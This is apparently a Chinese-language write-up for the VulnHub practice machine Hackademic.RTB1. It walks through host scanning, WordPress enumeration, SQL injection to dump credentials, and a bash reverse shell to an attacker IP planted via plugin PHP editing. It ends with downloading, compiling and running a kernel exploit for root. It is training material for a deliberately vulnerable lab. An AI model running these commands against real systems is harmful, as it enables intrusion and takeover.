靶机下载链接:https://download.vulnhub.com/hackademic/Hackademic.RTB1.zip
一、主机探测和端口扫描
nmap 192.168.121.0/24

ip:192.168.121.196
端口:22、80
二、访问80端口

发现target可点击
点击后跳转,页面提示目标是读取到 key.txt 文件

findsomething插件 查看网站的js接口

拼接 /Hackademic_RTB1/?feed=rss 看到 wordpress 版本

三、目录扫描
dirb http://192.168.121.196/

前面发现为 wordpress,kali 使用 wpscan 扫描网站
wpscan --url http://192.168.121.196

其中发现了一个路径 http://192.168.23.143/Hackademic_RTB1/wp-content/themes/starburst/style.css
可以看到 wp-content 位置,尝试将其修改为 wordpress的默认路径wp-admin,发现后台登录页面

使用 wpscan 扫描用户

使用 cewl 爬取网站密码文本
cewl 192.168.121.196 -w pass.txt
密码未能成功爆破
我们回到findsomething中,发现url中携带参数

可以进行sql注入
首先测cat参数,发现存在sql注入

dump 下数据,获取账号密码

挨个登录,登录GeorgeMiller发现插件里面能直接修改php代码,我们添加phpinfo,发现成功解析


四、get shell
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.121.171/4444 0>&1'");
kali开启监听,访问hello.php文件,成功反弹shell

五、提权
使用 python 启用交互式shell

sudo -l
查看当前权限,发现需要密码
查看内核版本
uname -a

搜一下相关版本的提权漏洞
searchsploit linux kernel 2.6.3

排除一些其他 linux 操作系统,精确版本,尝试后发现 15285.c 可利用
searchsploit -m 15285

开启一个临时 web 服务,靶机将其下载到 tmp 目录下
python3 -m http.server
wget http://192.168.121.171:8000/15285.c


进行编译后,执行文件,提权成功
gcc 15285.c -o 15285
./15285
